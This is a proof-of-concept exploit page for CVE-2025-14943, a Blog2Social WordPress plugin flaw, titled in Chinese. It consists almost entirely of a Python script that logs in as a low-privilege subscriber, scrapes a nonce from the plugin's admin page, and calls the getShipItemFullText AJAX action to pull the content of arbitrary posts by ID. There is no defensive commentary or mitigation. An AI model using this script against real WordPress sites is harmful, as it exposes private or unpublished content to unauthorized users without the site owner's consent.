CVE-2025-14943 WordPress Blog2Social插件敏感信息泄露漏洞

import requests import re # CVE-2025-14943 PoC - Blog2Social Information Disclosure # Target: WordPress site with Blog2Social plugin <= 8.7.2 target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "subscriber_password" post_id = 1 # Target post ID to extract session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Extract nonce from admin page admin_url = f"{target_url}/wp-admin/admin.php?page=blog2social" response = session.get(admin_url) # Extract _wpnonce from the page nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if not nonce_match: # Try alternative nonce extraction nonce_match = re.search(r'nonce":"([a-f0-9]+)"', response.text) if nonce_match: nonce = nonce_match.group(1) else: print("Failed to extract nonce") exit(1) # Step 3: Exploit getShipItemFullText function ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "getShipItemFullText", "_wpnonce": nonce, "shipItemId": post_id, "type": "post" } response = session.post(ajax_url, data=exploit_data) # Step 4: Extract sensitive post content if response.status_code == 200: print(f"[+] Successfully extracted content from post ID: {post_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Exploitation failed with status code: {response.status_code}")